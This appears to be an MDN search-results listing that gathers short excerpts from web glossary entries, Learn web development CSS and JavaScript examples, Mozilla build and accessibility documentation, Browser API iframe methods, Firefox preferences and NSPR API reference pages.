... smoke testing answers questions like "does the program start up correctly?" "do the main control buttons function?" "can you save a simple blank new test user account?" if this basic functionality fails, there is no point investing time in more detailed qa work at this stage.
Static typing - MDN Web Docs Glossary: Definitions of Web-related terms
a statically-typed language is a language (such as java, c, or c++) where variable types are known at compile time.
... in most of these languages, types must be expressly indicated by the programmer; in other cases (such as ocaml), type inference allows the programmer to not indicate their variable types.
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in javascript and python.
...even small errors, like a missing parenthesis, can stop source code from compiling successfully.
Tag - MDN Web Docs Glossary: Definitions of Web-related terms
if attributes are not mentioned, default values are used in each case.
... learn more general knowledge html element on wikipedia html elements syntax on whatwg technical reference introduction to html ...
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
in modern javascript applications, we use module bundlers (e.g., webpack or rollup) to automatically remove dead code when bundling multiple javascript files into single files.
... learn more general knowledge "benefits of dead code elimination during bundling" in axel rauschmayer's book: "exploring js: modules" technical reference tree shaking implementation with webpack ...
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
type conversion is similar to type coercion because they both convert values from one data type to another with one key difference — type coercion is implicit whereas type conversion can be either implicit or explicit.
... examples const value1 = '5'; const value2 = 9; let sum = value1 + value2; console.log(sum); in the above example, javascript has coerced the 9 from a number into a string and then concatenated the two values together, resulting in a string of 59.
UI - MDN Web Docs Glossary: Definitions of Web-related terms
in the world of computers, it can be anything from a keyboard, a joystick, a screen or a program.
... in case of computer software, it can be a command-line prompt, a webpage, a user input form, or the front-end of any application.
URN - MDN Web Docs Glossary: Definitions of Web-related terms
urn (uniform resource name) is a uri in a standard format, referring to a resource without specifying its location or whether it exists.
... this example comes from rfc3986: urn:oasis:names:specification:docbook:dtd:xml:4.1.2 learn more general knowledge urn on wikipedia ...
UX - MDN Web Docs Glossary: Definitions of Web-related terms
the system can be any kind of product or application that an end user is meant to interact with.
... ux studies undertaken on a web page for example can demonstrate whether it is easy for users to understand the page, navigate to different areas, and complete common tasks, and where such processes could have less friction.
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
by assigning each character a number, programmers can create character encodings, to let computers store, process, and transmit any combination of languages in the same file or program.
... learn more unicode on wikipedia the unicode standard: a technical introduction ...
Variable - MDN Web Docs Glossary: Definitions of Web-related terms
that way an unpredictable value can be accessed through a predetermined name.
... learn more general knowledge variable (computer science) on wikipedia technical reference declaring variables in javascript var statement in javascript ...
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
webdav is rarely used alone, but two extensions are very common: caldav (remote-access calendar) and carddav (remote-access address book).
...author or creation date) link pages of any media type to related pages create sets of documents and retrieve hierarchical list copy and move webpages lock a document from being edited by more than one person at a time learn more general knowledge webdav on wikipedia technical reference rfc 2518 rfc 3253 rfc 3744 ...
WebGL - MDN Web Docs Glossary: Definitions of Web-related terms
you can invoke webgl within the html <canvas> element, which provides a rendering surface.
... learn more general knowledge webgl on wikipedia check for webgl support technical article webgl on mdn support table for webgl ...
XPath - MDN Web Docs Glossary: Definitions of Web-related terms
xpath is a query language that can access sections and content in an xml document.
... learn more technical reference xpath documentation on mdn xpath specification general knowledge official website xpath on wikipedia ...
XQuery - MDN Web Docs Glossary: Definitions of Web-related terms
xquery is a computer language for updating, retrieving, and calculating data in xml databases.
... learn more general knowledge official website xquery on wikipedia technical reference discussion about using xquery from firefox ...
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
brotli provides better compression ratios than gzip and deflate speeds are comparable, but brotli compressing is a slower process than gzip compression, so gzip may be a better option for the compression of non-cachable content.
... learn more brotli.org brotli github repository brotli on wikipedia brotli on caniuse ...
Character set - MDN Web Docs Glossary: Definitions of Web-related terms
however, unicode gradually became most acceptable character set for its universal language support.
... if a character set is used incorrectly (for example, unicode for an acticle encoded in big5), you may see nothing but broken characters, which are called mojibake.
document environment - MDN Web Docs Glossary: Definitions of Web-related terms
when the javascript global environment is a window or an iframe, it is called a document environment.
... learn more technical reference document environment in the html specification ...
Event - MDN Web Docs Glossary: Definitions of Web-related terms
events are assets generated by dom elements, which can be manipulated by a javascript code.
... learn more technical reference event documentation on mdn general knowledge official website dom events on wikipedia ...
Modularity - MDN Web Docs Glossary: Definitions of Web-related terms
the term modularity refers to the degree to which a system's components may be separated and recombined, it is also division of a software package into logical units.
... the advantage of a modular system is that one can reason the parts independently learn more modularity on wikipedia ...
non-normative - MDN Web Docs Glossary: Definitions of Web-related terms
software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule.
... sections that contain official part of the specification that must be followed are often marked as normative.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
some operations are restricted to same-origin content, and this restriction can be lifted using cors.
... examples of same origin http://example.com/app1/index.html http://example.com/app2/index.html same origin because same scheme (http) and host (example.com) http://example.com:80 http://example.com same origin because a server delivers http content through port 80 by default examples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp.example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html living standardthe definition of 'origin' in that specification.
Routers - MDN Web Docs Glossary: Definitions of Web-related terms
for spa in application layer, router is a library that decides what web page is presented by a given url.
... learn more general knowledge for network layer context: router (computing) on wikipedia for spa in application layer context, most of the popular spa frameworks has its routing library: angular router react router vue router ...
RTL (Right to Left) - MDN Web Docs Glossary: Definitions of Web-related terms
rtl (right to left) is a locale property indicating that text is written from right to left.
... for example, the he locale (for hebrew) specifies right-to-left.
undefined - MDN Web Docs Glossary: Definitions of Web-related terms
undefined is a primitive value automatically assigned to variables that have just been declared, or to formal arguments for which there are no actual arguments.
... example var x; //create a variable but assign it no value console.log("x's value is", x) //logs "x's value is undefined" learn more general knowledge undefined value on wikipedia technical reference javascript data types and data structures ...
Example 3 - Learn web development
.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optli...
...hadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) ...
Example 4 - Learn web development
.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optli...
...hadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) ...
Example 5 - Learn web development
.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optli...
...hadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) ...
HTML Tables - Learn web development
LearnHTMLTables
coupled with a little css for styling, html makes it easy to display tables of information on the web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team.
... html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
HTML performance features - Learn web development
complications can occur when, for example, the file size of a <video> embed is too large, or when a webpage is not optimized for mobile devices.
... this module intends to walk you through the key html performance features that can drastically improve the quality of your webpage.
ChromeWorkers and the Chrome worker loader
to complement the open web worker functionality, mozilla has introduced the chromeworker interface, which provides this capability within application chrome.
... that makes it available not only to the application itself, but also to add-ons.
Information for Assistive Technology Vendors
information for assistive technology vendors accessibility features in mozilla & call for testers!
... newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
Information for External Developers Dealing with Accessibility
implementing an msaa server, a practical guide a document for developers who need to support microsoft active accessibility (msaa) in a desktop application, in order to make it accessible with 3rd party assistive technologies, containing practical tips and the details of mozilla's implementation.
... newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
Information for Governments and Other Organizations Evaluating Mozilla
mozilla's section 508 compliance section 508 is a set of accessibility requirements that help us federal agencies decide what software applications they can use.
... mozilla's w3c user agent guidelines evaluation report w3c's wai is advancing another important set of accessibility standards called uaag.
Information for users
assistive technology compatibility this is a wiki page which users can edit to provide up to date information on any issues related to compatibility with assistive technologies such as screen readers, screen magnifiers, voice input software and on screen keyboards.
... newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
Bugzilla
bugzilla.mozilla.org (often abbreviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects.
... testopia - test case management extension bugzilla.org - the project site wikipedia:bugzilla - general description of bugzilla (not specific to mozilla projects) bmo on wiki.mozilla.org - information about mozilla's customized bugzilla installation, including how to contribute to it tools bugzilla todos lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and a...
Gmake vs. Pymake
path issues on windows on windows, you must take special care to be able to switch back and forth between gmake and pymake on the same object dir.
... a relative configure produces paths that look like "../../foo" which can be understood by gmake and pymake.
Updating NSPR or NSS in mozilla-central
(because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_n...
...if your update fails linking because of missing nss or nspr symbols, add the missing symbols to config/external/nss/nspr-dummy.def or config/external/nss/nss.def, whichever is relevant.
pymake
note: on windows, you must take special care to be able to switch back and forth between gmake and pymake on the same object dir.
... unlike gmake on windows, pymake is capable of doing parallel builds, so you can set a moz_make_flags=-jn in your .mozconfig without risk of deadlocks.
Message manager
message managers provide a way for chrome-privileged javascript code to communicate across process boundaries.
... guides message manager overview frame script loading and lifetime communicating with frame scripts performance best practices frame script environment limitations of frame scripts process scripts api reference nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster nsimessagesender nsisyncmessagesender nsicontentframemessagemanager nsiprocessscriptloader ...
Partitioned: All third-party storage access requests
message firefox: cookiepartitionedforeign=partitioned cookie or storage access was provided to “<url>” because it is loaded in the third-party context and storage partitioning is enabled.
... a request to access cookies or storage was partitioned because it came from a third-party (a different origin) and dynamic first-party isolation is enabled.
Errors
this page lists the errors that can be raised due to firefox's anti-tracking functionality, governed by the storage access policy.
... you can find further information about them by clicking on the links below: a request to access cookies or storage was blocked because of a custom cookie permission blocked because it came from a tracker and content blocking is enabled blocked because we are blocking all storage access requests blocked because we are blocking all third-party storage access requests and content blocking is enabled granted partitioned access because it came from a third-party and dynamic first-party isolation is enabled ...
Security best practices for Firefox front-end engineers
the canonical truth for the list of whitelisted elements is the source code.
...developers are able to avoid tripping the rule by using escaping functions in combination with template strings, for example: bar.innerhtml = escapehtml`<a href='${url}'>about</a>`; in system-privileged chrome code, any kind of remaining scripts will still be removed by our sanitizer.
HTMLIFrameElement.clearMatch()
invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
...) { if(search.getattribute('class') === 'search') { search.setattribute('class', 'search shifted'); } else if(search.getattribute('class') === 'search shifted') { search.setattribute('class', 'search'); if(searchactive) { browser.clearmatch(); searchactive = false; prev.disabled = true; next.disabled = true; searchbar.value = ''; } } }); specification not part of any specification.
HTMLIFrameElement.executeScript()
options optional optionally, you can provide an origin or url for the script to be executed against.
... specifications not part of any specification.
HTMLIFrameElement.getContentDimensions()
its request.onsuccess handler handles the success case, and its request.onerror handler handles the failure case.
... examples var browser = document.queryselector('iframe'); var request = browser.getcontentdimensions(); request.onsuccess = function() { console.log("page size:", request.result.width + "x" + request.result.height); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
HTMLIFrameElement.goBack()
by calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
... examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification.
HTMLIFrameElement.goForward()
by calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on.
... examples fwd.addeventlistener('touchend',function() { browser.goforward(); }); specification not part of any specification.
HTMLIFrameElement.purgeHistory()
note: to delete cookies for a firefox os app, you could call clearbrowserdata() on the actual app itself.
...lector('iframe'); var request = browser.purgehistory(); request.onsuccess = function() { console.log('history deleted!'); } request.onerror = function() { console.error(this.error.name); } promise: var browser = document.queryselector('iframe'); browser.purgehistory().then(function() { console.log('history deleted!'); }, function(error) { console.error(this.error.name); }); specification not part of any specification.
HTMLIFrameElement.reload()
parameters hardreload optional a boolean that indicates whether all the resources to reload must be revalidated (true) or may be taken directly from the browser cache (false).
... examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
HTMLIFrameElement.sendMouseEvent()
modifiers a number representing a key pressed at the same time the mouse button was clicked: 1 : alt 2 : ctrl 4 : shift 8 : meta 16 : alt gr 32 : caps lock 64 : fn 128 : num lock 256 : scroll 512 : symbol lock 1024 : win note: you can specify multiple key modifiers separated by a pipe symbol, for example 1 | 1014.
... examples var browser = document.queryselector('iframe'); browser.sendmouseevent("mousemove", x, y, 0, 0, 0); browser.sendmouseevent("mousedown", x, y, 0, 1, 0); browser.sendmouseevent("mouseup", x, y, 0, 1, 0); specification not part of any specification.
HTMLIFrameElement.setActive()
parameters boolean a boolean that indicates whether the iframe is to be the active frame (true) or not (false).
... example var browser = document.queryselector('iframe'); browser.setactive(); specification not part of any specification.
HTMLIFrameElement.setVolume()
parameters number a floating point number representing the volume you want to set — this can have a value between 0 and 1.
... example var browser = document.queryselector('iframe'); browser.setvolume(0.5); specification not part of any specification.
-moz-window-dragging
<window>, <panel> inherited no media visual computed value as specified animation type discrete canonical order the unique non-ambiguous order defined by the formal grammar syntax the -moz-window-dragging property is specified as one of the keyword values listed below.
... no-drag the window is not draggable formal syntax drag | no-drag example toolbarpaletteitem { -moz-window-dragging: no-drag; } specifications this property is not part of any specification.
Embedding Mozilla
that means you can embed a web browser inside a third-party application, open channels and streams through the network backend, walk through the dom and so on.
... you can even construct whole new applications using chrome.
How test harnesses work
mozilla test harnesses are typically composed of a python runner that invokes firefox, utilizes the browser to run tests, and reports the results.
... the python harness communicates with the browser by inserting an extension in the testing profile or uses marionette's wire protocol to drive the browser.
Creating a New Protocol
the method signatures can be read from the generated pnewprotocolparent.h and pnewprotocolchild.h headers.
...it is acceptable to use synchronous calls on jpw wrappers for testing purposes.
JavaScript libraries from Mozilla projects
in addition to firefox and other applications, mozilla developers have created a number of useful javascript libraries you can use in your projects.
... documentation for these libraries can be found here.
AddonScreenshot
a screenshot object for an add-on can have following attributes.
... caption optional string the caption of the screenshot.
AddonType
name string the localized name for the type.
... built-in values: value category 2000 locale 4000 extension 5000 theme 6000 plugin viewtype integer the type of ui to use to display this type of add-on in the ui.
UpdateCheckListener
method overview void onupdatecheckcomplete(in updateinfo results[]) void onupdatecheckerror(in integer status) methods onupdatecheckcomplete() called when the update check completed successfully.
... void onupdatecheckcomplete( in updateinfo results[] ) parameters results an array of updateinfo objects representing the available add-on versions onupdatecheckerror() called when the update check fails.
UpdateInfo
updateurl string the updateurl that the update can be downloaded from.
... targetapplications object[] information about what applications the update is compatible with.
DownloadError
becausesourcefailed read only boolean indicates an error occurred while reading from the remote location.
... becausetargetfailed read only boolean indicates an error occurred while writing to the local target.
Timer.jsm
the timer.jsm javascript code module contains pure-javascript implementations of settimeout, cleartimeout, setinterval, and clearinterval that are compatible with the dom window functions, but that can be used by code that does not have access to a dom window (for example, javascript code modules or content frame scripts).
... to use timer.jsm, first import it: components.utils.import("resource://gre/modules/timer.jsm"); then call settimeout and cleartimeout just as you would in a dom window, for example: let timeoutid = settimeout(function() { console.log("hello!"); }, 500); cleartimeout(timeoutid); similarly, you can use setinterval and clearinterval like so: let intervalid = setinterval(function() { console.log("happening every 500ms!"); }, 500); clearinterval(intervalid); ...
Extras
they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser environment.
.../mtr> </mtable> <mo>)</mo> </mrow> </math> </foreignobject> <text>rotation matrix</text> </switch> </g></g></g> <g> <animatemotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z" begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <switch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</m...
Updates
better rendering of mathematical symbols, especially stretchy operators.
...mozilla 1.0 features full support for html 4.0, xml 1.0, resource description framework (rdf), cascading style sheets level 1 (css1), and the w3c document object model level 1 (dom1) [...] as well as support for display of mathematical equations using mathml." december 7, 2001 status report october 2000 the first international mathml conference april 14, 2000 status report february 12, 2000 mathml-enabled m13 builds for win32 september 21, 1999 mathml has landed.
MathML Demo: <mfrac> - fractions
fraction lines should align vertically with the math axis.
... and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a background image at a desired opacity mathml background image html content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>&alpha;</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mro...
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a .
...for example m c d a b the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a there are some variations possible: <mmultiscripts> a a b c d nested <msubsup>s a a b c d or &invisiblecomma; a a ⁣ c b ⁣ d ...
Mozilla Development Tools
mxr you can browse the up-to-the-minute latest version of the source code online through a massively-hyperlinked source code browser (based on lxr) that lets you cross-reference function and variable names.
... bugzilla bugzilla is where developers can report bugs in the mozilla source releases, and browse an online database of already-reported bugs.
Leak Gauge
leak gauge is a tool that can be used to detect certain kinds of leaks in gecko, including those involving documents, window objects, and docshells.
... nspr_log_modules=domleak:5,documentleak:5,nsdocshellleak:5,nodeinfomanagerleak:5 nspr_log_file=nspr.log # or any other filename of your choice this will overwrite any existing file called nspr.log.
accessibility.tabfocus
type:integer default value: 7 (windows and linux); 2 (mac os x) exists by default: no application support:gecko 1.7 status: active introduction: bugs: bug 140612 values 1 give focus only to text fields (default on mac osx) 2 give focus to all form elements except text fields.
... other you can add these values to combine their functionality.
dom.event.clipboardevents.enabled
dom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected.
... type:boolean default value:true exists by default: no application support: gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) status: active; last updated 2012-02-15 introduction: pushed to nightly on 2012-02-14 bugs: bug 542938 values true (default) the oncopy, oncut and onpaste events are enabled for web content.
javascript.options.showInConsole
type:boolean default value: false (true in debug builds) exists by default: yes application support:firefox 1.0 status: active introduction:2002-02-26 bugs: bug 125181 bug 337875 values false only errors and warnings from content code are shown.
... note: since the web console was introduced in firefox 4 specifically for debugging content, the default value for this preference has changed to true as of gecko 2.0.
javascript.options.strict
javascript warnings are generated when code is executed that doesn't cause a run-time error, but is non-standard, poorly written, or prone to cause logic errors.
... example : <html> <head> <title>sample</title> </head> <body> <label id="name">enter you first name</label> <p id ="sample"></p> <script> "use strict" name1= "john" ; // this will cause and an error as variable not declared .
mail.tabs.drawInTitlebar
the old behavior can be restored by setting the preference mail.tabs.drawintitlebar to false.
... type:boolean default value: true exists by default: yes application support:thunderbird 17.0 status: active; last updated 2012-09-17 introduction: pushed to daily on 2012-08-08 bugs: bug 771816 values true (default) the tabs are drawn in the title bar of the mail program.
Crash reporting
crash data submitted using the mozilla crash reporter is located on crash-stats.
...type about:crashes into your location bar to get a page listing both submitted and unsubmitted crash reports.
NSPR release procedure
this design comes from the netscape days.
...the host ftp.mozilla.org can be accessed via the ftp, http, and https protocols.
Anonymous Shared Memory
application specific technique to pass fmstring to child ...
...application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_memmap(fm); ...
Atomic Operations
on systems that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanisms.
... these functions operate on 32-bit integers: pr_atomicincrement pr_atomicdecrement pr_atomicset pr_atomicadd these functions implement a simple stack data structure: pr_createstack pr_stackpush pr_stackpop pr_destroystack ...
IPC Semaphores
this chapter describes the nspr api for using interprocess communication semaphores.
... nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platforms.
Interval Timing
to make use of these counters, the application must declare a point in time, the epoch, and an amount of time elapsed since that epoch, the interval.
... in almost all cases the epoch is defined as the value of the interval timer at the time it was sampled.
Locks
lock type lock functions in nspr, a mutex of type prlock controls locking, and associated condition variables communicate changes in state among threads.
...in addition to prlock, nspr provides another mutex type, prmonitor, which is reentrant and can have only one associated condition variable.
Long Long (64-bit) Integers
the functions define a portable api that can be used reliably in any environment.
... limits and initialization relational operators logical operators arithmetic operators shift operators conversion operators ...
NSPR LOG FILE
for ms windows systems, you can set nspr_log_file to the special (case-sensitive) value windebug.
... this value causes logging output to be written using the windows function outputdebugstring(), which writes to the debugger window.
PLHashComparator
syntax #include <plhash.h> typedef printn (pr_callback *plhashcomparator)( const void *v1, const void *v2); description plhashcomparator is a function type that compares two values of an unspecified type.
...pl_comparevalues compares the values of the arguments v1 and v2 numerically.
PLHashEntry
if the key of an entry is an integral value that can fit into a void * pointer, you can just cast the key itself to void * and store it in the key field.
... similarly, if the value of an entry is an integral value that can fit into a void * pointer, you can cast the value itself to void * and store it in the value field.
PRAddrInfo
typically, a praddrinfo object will be found via pr_getaddrinfobyname, iterated through using pr_enumerateaddrinfo, and finally freed with pr_freeaddrinfo.
... to get the canonical hostname of a praddrinfo object, use pr_getcanonnamefromaddrinfo.
PRDescIdentity
identities are allocated by the runtime and are to be associated (by the layer implementor) with all file descriptors of that layer.
... it is then possible to scan the chain of layers and find a layer that one recognizes, then predict that it will implement a desired protocol.
PRFileDesc
a file descriptor used to represent any open file, such as a normal file, an end point of a pipe, or a socket (end point of network communication).
... description the fields of this structure are significant only if you are implementing a layer on top of nspr, such as ssl.
PRFileMap
before actually mapping a file to memory, you must create a memory-mapped file object by calling pr_createfilemap, which returns a pointer to prfilemap.
... then sections of the file can be mapped into memory by passing the prfilemap pointer to pr_memmap.
PRHostEnt
for valid nspr usage, this field must have a value indicating either an ipv4 or an ipv6 address.
...all addresses are passed in host order and returned in network order (suitable for use in system calls).
PRIOMethods
if a layer provides no functionality, it should call the next lower (higher) function of the same name (for example, the "close" method would return fd->lower->method->close(fd->lower)).
...in cases where this partial implementation occurs, the function returns an error indication with an error code of pr_invalid_method_error.
PRLinger
syntax #include <prio.h> typedef struct prlinger { prbool polarity; printervaltime linger; } prlinger; fields the structure has the following fields: polarity polarity of the option's setting: pr_false means the option is off, in which case the value of linger is ignored.
... if polarity is set to pr_true and linger is set to 0 (pr_interval_no_wait), the runtime aborts the connection when it is closed and discards any data remaining in the socket send buffer.
PRStaticLinkTable
a static link table entry can be created by a client of the runtime so that other clients can access static or dynamic libraries transparently.
...if, during initialization, such entries are manually created, then future attempts to link to the symbols can be treated in a consistent fashion.
PRTimeParamFn
this type defines a callback function to calculate and return the time parameter offsets from a calendar time object in gmt.
... syntax #include <prtime.h> typedef prtimeparameters (pr_callback_decl *prtimeparamfn) (const prexplodedtime *gmt); description the type prtimeparamfn represents a callback function that, when given a time instant in gmt, returns the time zone information (offset from gmt and dst offset) at that time instant.
PR_AtomicDecrement
atomically decrements a 32-bit value.
...the modification to memory is unconditional.
PR_AtomicSet
atomically sets a 32-bit value and return its previous contents.
...the memory modification is unconditional--that is, it isn't a test and set operation.
PR_AttachSharedMemory
pr_shm_readonly causes the memory to be attached read-only.
...retrieve the reason for the failure by calling pr_geterror and pr_getoserror.
PR_CloseFileMap
the error code can be retrieved via pr_geterror.
... description when a file mapping created with a call to pr_createfilemap is no longer needed, it should be closed with a call to pr_closefilemap.
PR_CreateIOLayerStub
description a new layer may be allocated by calling pr_createiolayerstub.
... the caller should override appropriate contents of the file descriptor returned before pushing it onto the protocol stack.
PR_DestroyMonitor
description the caller is responsible for guaranteeing that the monitor is no longer in use before calling pr_destroymonitor.
... there must be no thread (including the calling thread) in the monitor or waiting on the monitor.
PR_DestroyPollableEvent
syntax nspr_api(prstatus) pr_destroypollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
...the reason for the failure can be retrieved via pr_geterror.
PR EnumerateAddrInfo
on output, this structure is filled in by the runtime if the result of the call is not null.
... returns the function returns the value you should specify in the enumptr parameter for the next call of the enumerator.
PR_ExitMonitor
the monitor object referenced must be one for which the calling thread currently holds the lock.
... if unsuccessful (the calling thread has not entered the monitor), pr_failure.
PR_FamilyInet
this is usually pr_af_inet, but can also be pr_af_inet6 if ipv6 is enabled.
... the returned value can be assigned to the inet.family field of a prnetaddr object.
PR_FindSymbol
getting a pointer to a symbol in a library does indicate that the library is available when the search was made.
...if the library is unloaded, for instance, the results of any pr_findsymbol calls become invalid as well.
PR_GetCurrentThread
syntax #include <prthread.h> prthread* pr_getcurrentthread(void); returns always returns a valid reference to the calling thread--a self-identity.
... description the currently running thread may discover its own identity by calling pr_getcurrentthread.
PR_GetDefaultIOMethods
description after using pr_getdefaultiomethods to identify the default i/o methods table, you can select elements from that table with which to build your own layer's methods table.
...you can pass your own layer's methods table to pr_createiolayerstub to create your new layer.
PR_GetProtoByName
this buffer is allocated by the caller.
...you can retrieve the reason for the failure by calling pr_geterror.
PR_GetProtoByNumber
this buffer is allocated by the caller.
...you can retrieve the reason for the failure by calling pr_geterror.
PR_GetSocketOption
on input, the option field of this structure must be set to indicate which socket option to retrieve for the socket represented by the fd parameter.
...the reason for the failure can be obtained by calling pr_geterror.
PR_GetSpecialFD
syntax #include <prio.h> prfiledesc* pr_getspecialfd(prspecialfd id); parameter the function has the following parameter: id a pointer to an enumerator of type prspecialfd, indicating the type of i/o stream desired: pr_standardinput, pr_standardoutput, or pr_standarderror.
